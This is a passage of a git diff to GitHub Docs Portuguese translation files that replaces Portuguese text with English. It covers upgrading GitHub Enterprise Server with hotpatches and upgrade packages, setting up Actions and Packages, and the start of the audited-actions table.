dropdown](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png) +5. Click **Install**. + ![Hotpatch install button](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png) -#### Instalar hotpatch usando o shell administrativo +#### Installing a hotpatch using the administrative shell {% data reusables.enterprise_installation.download-note %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copie a URL do hotpackage de atualização (arquivo *.hpkg*). +2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (*.hpkg* file). {% data reusables.enterprise_installation.download-package %} -4. Execute o comando `ghe-upgrade` usando o nome de arquivo do pacote: +4. Run the `ghe-upgrade` command using the package file name: ```shell admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.hpkg *** verifying upgrade package signature... ``` -5. Se for necessário reinicializar para aplicar as atualizações no kernel, MySQL, Elasticsearch ou em outros programas, você receberá uma notificação do script de atualização do hotpatch. +5. If a reboot is required for updates for kernel, MySQL, Elasticsearch or other programs, the hotpatch upgrade script notifies you. -### Atualizar um appliance com instâncias de réplica usando hotpatch +### Upgrading an appliance that has replica instances using a hotpatch {% note %} -**Observação**: Se estiver instalando um hotpatch, não há necessidade de entrar no modo de manutenção ou parar a replicação. +**Note**: If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication. {% endnote %} -Appliances configurados para alta disponibilidade e replicação geográfica usam instâncias de réplica, além de instâncias principais. Para atualizar esses appliance, você terá que atualizar a instância primária e todas as instâncias de réplica, uma por vez. +Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time. -#### Atualizar a instância primária +#### Upgrading the primary instance -1. Atualize a instância primária seguindo as instruções em "[Instalar hotpatch usando o shell administrativo](#installing-a-hotpatch-using-the-administrative-shell)". +1. Upgrade the primary instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." -#### Atualizar uma instância de réplica +#### Upgrading a replica instance {% note %} -**Observação:** se você estiver executando várias instâncias de réplica como parte da replicação geográfica, repita esse procedimento para cada instância de réplica, uma por vez. +**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time. {% endnote %} -1. Atualize a réplica primária seguindo as instruções em "[Instalar hotpatch usando o shell administrativo](#installing-a-hotpatch-using-the-administrative-shell)". Se você estiver usando várias réplicas de replicação geográfica, você deverá repetir esse procedimento para atualizar cada réplica por vez. +1. Upgrade the replica instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time. {% data reusables.enterprise_installation.replica-ssh %} {% data reusables.enterprise_installation.replica-verify %} -## Atualizar com pacote de atualização +## Upgrading with an upgrade package -Mesmo que seja possível usar um hotpatch para fazer a atualização do patch em uma série, você deve usar um pacote de atualização a fim de atualizar para uma versão mais recente. Por exemplo, use um pacote ao atualizar da versão `2.11.10` para a `2.12.4`, já que elas estão em séries diferentes. Para obter mais informações, consulte "[Requisitos de atualização](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)". +While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example to upgrade from `2.11.10` to `2.12.4` you must use an upgrade package since these are in different feature series. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)." -### Atualizar um appliance com pacote de atualização +### Upgrading a single appliance with an upgrade package {% data reusables.enterprise_installation.download-note %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Selecione a plataforma adequada e copie a URL do pacote de atualização (arquivo *.pkg*). +2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (*.pkg* file). {% data reusables.enterprise_installation.download-package %} -4. Habilite o modo de manutenção e aguarde a conclusão de todos os processos ativos na instância do {% data variables.product.prodname_ghe_server %}. Para obter mais informações, consulte "[Habilitar e programar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)". +4. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." {% note %} - **Observação**: ao atualizar o appliance primário em uma configuração de alta disponibilidade, o appliance já deverá estar no modo de manutenção se você seguir as instruções em "[Atualizar a instância primária](#upgrading-the-primary-instance)". + **Note**: When upgrading the primary appliance in a High Availability configuration, the appliance should already be in maintenance mode if you are following the instructions in "[Upgrading the primary instance](#upgrading-the-primary-instance)." {% endnote %} -5. Execute o comando `ghe-upgrade` usando o nome de arquivo do pacote: +5. Run the `ghe-upgrade` command using the package file name: ```shell admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.pkg *** verifying upgrade package signature... ``` -6. Confirme que você gostaria de continuar a atualização e de reiniciar após a verificação da assinatura do pacote. O novo sistema de arquivos raiz grava na partição secundária, e a instância é reiniciada automaticamente em modo de manutenção: +6. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode: ```shell - *** aplicando atualização... + *** applying update... This package will upgrade your installation to version version-number Current root partition: /dev/xvda1 [version-number] Target root partition: /dev/xvda2 Proceed with installation? [y/N] ``` -7. Em atualizações de appliance único, desabilite o modo de manutenção para os usuários poderem trabalhar com a {% data variables.product.product_location %}. +7. For single appliance upgrades, disable maintenance mode so users can use {% data variables.product.product_location %}. {% note %} - **Observação**: ao atualizar appliances em configurações de alta disponibilidade, mantenha o modo de manutenção até atualizar todas as réplicas e a replicação estar atual. Para obter mais informações, consulte "[Atualizar instância de réplica](#upgrading-a-replica-instance)". + **Note**: When upgrading appliances in a High Availability configuration you should remain in maintenance mode until you have upgraded all of the replicas and replication is current. For more information, see "[Upgrading a replica instance](#upgrading-a-replica-instance)." {% endnote %} -### Atualizar um appliance com instâncias de réplica usando um pacote de atualização +### Upgrading an appliance that has replica instances using an upgrade package -Appliances configurados para alta disponibilidade e replicação geográfica usam instâncias de réplica, além de instâncias principais. Para atualizar esses appliance, você terá que atualizar a instância primária e todas as instâncias de réplica, uma por vez. +Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time. -#### Atualizar a instância primária +#### Upgrading the primary instance {% warning %} -**Aviso:** se a replicação for interrompida em caso de falha da instância primária, será perdido qualquer trabalho feito antes da atualização da réplica e do reinício da replicação. +**Warning:** When replication is stopped, if the primary fails, any work that is done before the replica is upgraded and the replication begins again will be lost. {% endwarning %} -1. Na instância primária, habilite o modo de manutenção e aguarde a conclusão de todos os processos ativos. Para obter mais informações, consulte "[Habilitar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)". +1. On the primary instance, enable maintenance mode and wait for all active processes to complete. For more information, see "[Enabling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)." {% data reusables.enterprise_installation.replica-ssh %} -3. Na instância de réplica (ou em todas as instâncias de réplica), se você estiver executando várias réplicas como parte da replicação geográfica, execute `ghe-repl-stop` para parar a replicação. -4. Atualize a instância primária seguindo as instruções em "[Atualizar um appliance com pacote de atualização](#upgrading-a-single-appliance-with-an-upgrade-package)". +3. On the replica instance, or on all replica instances if you're running multiple replica instances as part of geo-replication, run `ghe-repl-stop` to stop replication. +4. Upgrade the primary instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." -#### Atualizar uma instância de réplica +#### Upgrading a replica instance {% note %} -**Observação:** se você estiver executando várias instâncias de réplica como parte da replicação geográfica, repita esse procedimento para cada instância de réplica, uma por vez. +**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time. {% endnote %} -1. Atualize a réplica primária seguindo as instruções em "[Atualizar um aplicativo com pacote de atualização](#upgrading-a-single-appliance-with-an-upgrade-package)". Se você estiver usando várias réplicas de replicação geográfica, você deverá repetir esse procedimento para atualizar cada réplica por vez. +1. Upgrade the replica instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time. {% data reusables.enterprise_installation.replica-ssh %} {% data reusables.enterprise_installation.replica-verify %} {% data reusables.enterprise_installation.start-replication %} -{% data reusables.enterprise_installation.replication-status %} Se o comando retornar `Replicação não executada`, pode ser que a replicação ainda esteja começando. Aguarde cerca de um minuto para executar `ghe-repl-status` novamente. +{% data reusables.enterprise_installation.replication-status %} If the command returns `Replication is not running`, the replication may still be starting. Wait about one minute before running `ghe-repl-status` again. {% note %} - **Observação:** enquanto a ressincronização estiver em andamento, o código `ghe-repl-status` pode retornar mensagens esperadas indicando que a replicação está atrasada. - Por exemplo: `CRÍTICO: a replicação git está atrás do primário em mais de 1007 repositórios e/ou gists` + **Note:** While the resync is in progress `ghe-repl-status` may return expected messages indicating that replication is behind. + For example: `CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists` {% endnote %} - Se `ghe-repl-status` não retornou `OK`, entre em contato com {% data variables.contact.enterprise_support %}. Para obter mais informações, consulte "[Receber ajuda de {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)". + If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." + +6. When you have completed upgrading the last replica, and the resync is complete, disable maintenance mode so users can use {% data variables.product.product_location %}. -6. Ao concluir a atualização da última réplica e quando a ressincronização terminar, desabilite o modo de manutenção para que os usuários possam trabalhar na {% data variables.product.product_location %}. +## Restoring from a failed upgrade -## Restaurar após uma atualização com falha +If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade. -Em caso de falha ou interrupção da atualização, volte a sua instância ao estado anterior. Esse processo dependerá do tipo de atualização. +### Rolling back a patch release -### Voltar a uma versão de patch +To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} -Para reverter uma versão de patch, use o comando `ghe-upgrade` com o switch `--allow-patch-rollback`. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} +For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)." -Para obter mais informações, consulte "[Utilitários de linha de comando](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)". +### Rolling back a feature release -### Voltar a uma versão de recurso - -Para voltar a partir de uma versão de recurso, faça a restauração partindo de um instantâneo da VM para garantir o estado consistente das partições raiz e de dados. Para obter mais informações, consulte "[Obter um instantâneo](#taking-a-snapshot)". +To roll back from a feature release, restore from a VM snapshot to ensure that root and data partitions are in a consistent state. For more information, see "[Taking a snapshot](#taking-a-snapshot)." {% ifversion ghes %} -## Leia mais +## Further reading -- "[Sobre atualizações para novas versões](/admin/overview/about-upgrades-to-new-releases)" +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" {% endif %} diff --git a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md index cdddcb3c87..fb18184ae3 100644 --- a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md +++ b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md @@ -21,7 +21,9 @@ topics: ## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} -This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. +This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. + +{% data reusables.enterprise.upgrade-ghes-for-actions %} {% data variables.product.prodname_actions %} is not enabled for {% data variables.product.prodname_ghe_server %} by default. You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. diff --git a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md index 9d1e765d83..33a3273bf7 100644 --- a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md +++ b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -18,6 +18,8 @@ topics: ![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png) +{% data reusables.enterprise.upgrade-ghes-for-actions %} + Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. ## Governance and compliance diff --git a/translations/pt-BR/content/admin/index.md b/translations/pt-BR/content/admin/index.md index 5bb0bd5847..e9f1fb4c60 100644 --- a/translations/pt-BR/content/admin/index.md +++ b/translations/pt-BR/content/admin/index.md @@ -1,7 +1,7 @@ --- -title: Documentação do administrador da empresa -shortTitle: Administradores da empresa -intro: 'Documentação e guias para administradores da empresa{% ifversion ghes %}, administradores de sistema,{% endif %} e especialistas em segurança que {% ifversion ghes %}implantam, {% endif %}configuram{% ifversion ghes %},{% endif %} e gerenciam {% data variables.product.product_name %}.' +title: Enterprise administrator documentation +shortTitle: Enterprise administrators +intro: 'Documentation and guides for enterprise administrators{% ifversion ghes %}, system administrators,{% endif %} and security specialists who {% ifversion ghes %}deploy, {% endif %}configure{% ifversion ghes %},{% endif %} and manage {% data variables.product.product_name %}.' redirect_from: - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account - /github/setting-up-and-managing-your-enterprise @@ -76,7 +76,7 @@ featuredLinks: - '{% ifversion ghae %}/admin/configuration/restricting-network-traffic-to-your-enterprise{% endif %}' - '{% ifversion ghes %}/admin/configuration/configuring-backups-on-your-appliance{% endif %}' - '{% ifversion ghes %}/admin/enterprise-management/creating-a-high-availability-replica{% endif %}' - - '{% ifversion ghes %}/admin/enterprise-management/upgrading-github-enterprise-server{% endif %}' + - '{% ifversion ghes %}/admin/overview/about-upgrades-to-new-releases{% endif %}' - '{% ifversion ghec %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise{% endif %}' - '{% ifversion ghec %}/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise{% endif %}' - '{% ifversion ghec %}/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise{% endif %}' diff --git a/translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md b/translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md index 36fa84ac83..4e4de2165b 100644 --- a/translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md +++ b/translations/pt-BR/content/admin/overview/about-upgrades-to-new-releases.md @@ -1,7 +1,7 @@ --- -title: Sobre atualizações para novas versões -shortTitle: Sobre as atualizações -intro: '{% ifversion ghae %}A sua empresa em {% data variables.product.product_name %} é atualizada com as últimas funcionalidades e correções de erros regularmente por {% data variables.product.company_short %}.{% else %}Você pode beneficiar-se de novas funcionalidades e correções de erros para {% data variables.product.product_name %} atualizando a sua empresa para uma versão recém-lançada.{% endif %}' +title: About upgrades to new releases +shortTitle: About upgrades +intro: '{% ifversion ghae %}Your enterprise on {% data variables.product.product_name %} is updated with the latest features and bug fixes on a regular basis by {% data variables.product.company_short %}.{% else %}You can benefit from new features and bug fixes for {% data variables.product.product_name %} by upgrading your enterprise to a newly released version.{% endif %}' versions: ghes: '*' ghae: '*' @@ -10,39 +10,40 @@ topics: - Enterprise - Upgrades --- +{% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %} -{% data variables.product.product_name %} está constantemente melhorando, com novas funcionalidades e correções de erros introduzidas por meio de de recursos e versões de patch. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} é um serviço totalmente gerenciado. Portanto, {% data variables.product.company_short %} conclui o processo de atualização da sua empresa.{% endif %} +{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} is a fully managed service, so {% data variables.product.company_short %} completes the upgrade process for your enterprise.{% endif %} -As versões do recurso incluem novas funcionalidades e atualizações de recursos e, normalmente, ocorrem a cada trimestre. {% ifversion ghae %}{% data variables.product.company_short %} irá atualizar sua empresa para a versão mais recente do recurso. Você será avisado antecipadamente de qualquer período de inatividade planejado para sua empresa.{% endif %} +Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. You will be given advance notice of any planned downtime for your enterprise.{% endif %} {% ifversion ghes %} -Começando com {% data variables.product.prodname_ghe_server %} 3.0, todas as versões de recurso começam com pelo menos um candidato de versão. Os candidatos de verão são as versões de recurso, com um conjunto completo de recursos. Pode haver erros ou problemas em um candidato de versão que só podem ser encontrados por meio do feedback de clientes que usam {% data variables.product.product_name %}. +Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. There may be bugs or issues in a release candidate which can only be found through feedback from customers actually using {% data variables.product.product_name %}. -Você pode ter acesso rápido às últimas funcionalidades testando um candidato de versão assim que este estiver disponível. Você pode atualizar para um candidato de versão a partir de uma versão compatível e pode atualizar do candidato de versão para versões posteriores quando lançado. Você deve atualizar qualquer ambiente executando um candidato de versão assim que a versão estiver geralmente disponível. Para obter mais informações, consulte "[Requisitos de atualização](/admin/enterprise-management/upgrade-requirements)". +You can get early access to the latest features by testing a release candidate as soon as the release candidate is available. You can upgrade to a release candidate from a supported version and can upgrade from the release candidate to later versions when released. You should upgrade any environment running a release candidate as soon as the release is generally available. For more information, see "[Upgrade requirements](/admin/enterprise-management/upgrade-requirements)." -Os candidatos de versão devem ser implantados em ambientes de teste ou de preparação. Ao testar um candidato de versão, entre em contato com o suporte. Para obter mais informações, consulte "[Trabalhando com {% data variables.contact.github_support %}](/admin/enterprise-support)". +Release candidates should be deployed on test or staging environments. As you test a release candidate, please provide feedback by contacting support. For more information, see "[Working with {% data variables.contact.github_support %}](/admin/enterprise-support)." -Usaremos seus comentários para aplicar correções de erros e quaisquer outras alterações necessárias para criar uma versão de produção estável. Cada novo candidato de versão adiciona correções de erros para problemas encontrados em versões anteriores. Quando a versão estiver pronta para ser utilizada amplamente, {% data variables.product.company_short %} irá publicar uma versão de produção estável. +We'll use your feedback to apply bug fixes and any other necessary changes to create a stable production release. Each new release candidate adds bug fixes for issues found in prior versions. When the release is ready for widespread adoption, {% data variables.product.company_short %} publishes a stable production release. {% endif %} {% warning %} -**Aviso**: A atualização para uma nova versão de recurso implicará algumas horas de inatividade, durante o qual nenhum dos seus usuários poderá usar a empresa. Você pode informar aos seus usuários sobre tempo de inatividade, publicando um banner de anúncio global, usando as configurações da sua empresa ou a API REST. Para obter mais informações, consulte "[Personalizar mensagens de usuário na sua instância](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" e "[ administração de {% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#announcements)". +**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. You can inform your users about downtime by publishing a global announcement banner, using your enterprise settings or the REST API. For more information, see "[Customizing user messages on your instance](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" and "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)." {% endwarning %} {% ifversion ghes %} -Versões de Patch, que consistem apenas de patches e correções de erros acontecem com mais frequência. De modo geral, as versões de patch ficam disponíveis quando são lançadas pela primeira vez, sem candidatos de versões. Atualizar para uma versão de patch normalmente requer menos de cinco minutos de tempo de inatividade. +Patch releases, which consist of hot patches and bug fixes only, happen more frequently. Patch releases are generally available when first released, with no release candidates. Upgrading to a patch release typically requires less than five minutes of downtime. -Para atualizar a sua empresa para uma nova versão, consulte "[Liberar notas](/enterprise-server/admin/release-notes)" e "[Atualizar {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server). +To upgrade your enterprise to a new release, see "[Release notes](/enterprise-server/admin/release-notes)" and "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)." Because you can only upgrade from a feature release that's at most two releases behind, use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. {% endif %} -## Leia mais +## Further reading -- [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) no repositório `github/roadmap` {% ifversion ghae %} -- [ Observações da versão de {% data variables.product.prodname_ghe_managed %}](/admin/release-notes) +- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the `github/roadmap` repository{% ifversion ghae %} +- [ {% data variables.product.prodname_ghe_managed %} release notes](/admin/release-notes) {% endif %} diff --git a/translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md index 2f6680f64f..f1d277e45e 100644 --- a/translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md +++ b/translations/pt-BR/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Primeiros passos com o GitHub Packages para a sua empresa -shortTitle: Primeiros passos com o GitHub Packages -intro: 'Você pode começar a usar {% data variables.product.prodname_registry %} em {% data variables.product.product_location %} habilitando o recurso, configurando armazenamento de terceiros, configurando os ecossistemas que você deseja que sejam compatíveis e atualizando seu certificado TLS.' +title: Getting started with GitHub Packages for your enterprise +shortTitle: Getting started with GitHub Packages +intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.product.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.' redirect_from: - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise - /admin/packages/enabling-github-packages-for-your-enterprise @@ -16,28 +16,31 @@ topics: {% data reusables.package_registry.packages-cluster-support %} -## Etapa 1: Habilite {% data variables.product.prodname_registry %} e configure o armazenamento externo +## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise -{% data variables.product.prodname_registry %} em {% data variables.product.prodname_ghe_server %} usa armazenamento externo de blob para armazenar seus pacotes. +{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." +## Step 2: Enable {% data variables.product.prodname_registry %} and configure external storage -Depois de habilitar {% data variables.product.prodname_registry %} para {% data variables.product.product_location %}, você deverá preparar seu bucket de armazenamento de terceiros. A quantidade de armazenamento necessária depende do seu uso de {% data variables.product.prodname_registry %}, e as diretrizes de configuração podem variar de acordo com o provedor de armazenamento. +{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. -Provedores de armazenamento externos compatíveis +After enabling {% data variables.product.prodname_registry %} for {% data variables.product.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider. + +Supported external storage providers - Amazon Web Services (AWS) S3 {% ifversion ghes %} - Azure Blob Storage {% endif %} - MinIO -Para habilitar {% data variables.product.prodname_registry %} e configurar o armazenamento de terceiros, consulte: - - "[Habilitar o GitHub Packages com AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %} - - "[Habilitar o GitHub Packages com o Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} - - "[Habilitar o GitHub Packages com o MinIO](/admin/packages/enabling-github-packages-with-minio)" +To enable {% data variables.product.prodname_registry %} and configure third-party storage, see: + - "[Enabling GitHub Packages with AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %} + - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} + - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)" -## Etapa 2: Especifique os ecossistemas de pacote que serão compatíveis com a sua instância +## Step 3: Specify the package ecosystems to support on your instance -Escolha quais ecossistemas de pacote você gostaria de habilitar, desabilitar ou definir como somente leitura no seu {% data variables.product.product_location %}. As opções disponíveis são Docker, RubyGems, npm, Apache Maven, Gradle ou NuGet. Para obter mais informações, consulte "[Configurar a compatibilidade com o ecossistema de pacote para a sua empresa](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)". +Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.product.product_location %}. Available options are Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." -## Etapa 3: Certifique-se de ter um certificado TLS para a URL do seu pacote de hospedagem, se necessário +## Step 4: Ensure you have a TLS certificate for your package host URL, if needed -Se o isolamento de subdomínio estiver habilitado para {% data variables.product.product_location %}, você deverá criar e fazer upload de um certificado TLS que permite a URL de host do pacote para cada ecossistema que você deseja usar, como `npm.HOSTNAME`. Certifique-se de que o host de cada pacote contém `https://`. +If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Make sure each package host URL includes `https://`. - Você pode criar o certificado manualmente ou pode usar _Let's Encrypt_. Se você já usa _Let's Encrypt_, você deverá solicitar um novo certificado TLS depois de habilitar {% data variables.product.prodname_registry %}. Para obter mais informações sobre as URLs de host do pacote, consulte "[Habilitar o isolamento de subdomínio](/enterprise/admin/configuration/enabling-subdomain-isolation)". Para obter mais informações sobre o upload de certificados TLS para {% data variables.product.product_name %}, consulte "[Configurar TLS](/enterprise/admin/configuration/configuring-tls)". + You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." For more information about uploading TLS certificates to {% data variables.product.product_name %}, see "[Configuring TLS](/enterprise/admin/configuration/configuring-tls)." diff --git a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md index 531dc38999..f7076a7ad1 100644 --- a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md +++ b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md @@ -1,6 +1,6 @@ --- -title: Ações auditadas -intro: Você pode pesquisar uma série de ações no log de auditoria. +title: Audited actions +intro: You can search the audit log for a wide variety of actions. miniTocMaxHeadingLevel: 3 redirect_from: - /enterprise/admin/articles/audited-actions/ @@ -17,20 +17,27 @@ topics: - Security --- -## Autenticação +## Authentication -| Ação | Descrição | -| ------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------- | -| `oauth_access.create` | Um [token de acesso OAuth][] foi [gerado][generate token] para uma conta de usuário. | -| `oauth_access.destroy` | Um [token de acesso OAuth][] foi excluído de uma conta de usuário. | -| `oauth_application.destroy` | Um [aplicativo OAuth][] foi excluído de uma organização ou conta de usuário. | -| `oauth_application.reset_secret` | A chave secreta de um [aplicativo OAuth][] foi redefinida. | -| `oauth_application.transfer` | Um [aplicativo OAuth][] foi transferido de uma organização ou conta de usuário para outra. | -| `public_key.create` | Uma chave SSH foi [adicionada][add key] a uma conta de usuário ou uma [chave de implantação][] foi adicionada ao repositório. | -| `public_key.delete` | Uma chave SSH foi removida de uma conta de usuário ou uma [chave de implantação][] foi removida de um repositório. | -| `public_key.update` | A chave SSH de uma conta de usuário ou a [chave de implantação de um repositório][] foi atualizada.{% ifversion ghes %} -| `two_factor_authentication.enabled` | A [autenticação de dois fatores][2fa] foi habilitada para uma conta de usuário. | -| `two_factor_authentication.disabled` | [A autenticação de dois fatores][2fa] foi desabilitada para uma conta de usuário.{% endif %} +Action | Description +------------------------------------ | ---------------------------------------- +`oauth_access.create` | An [OAuth access token][] was [generated][generate token] for a user account. +`oauth_access.destroy` | An [OAuth access token][] was deleted from a user account. +`oauth_application.destroy` | An [OAuth application][] was deleted from a user or organization account. +`oauth_application.reset_secret` | An [OAuth 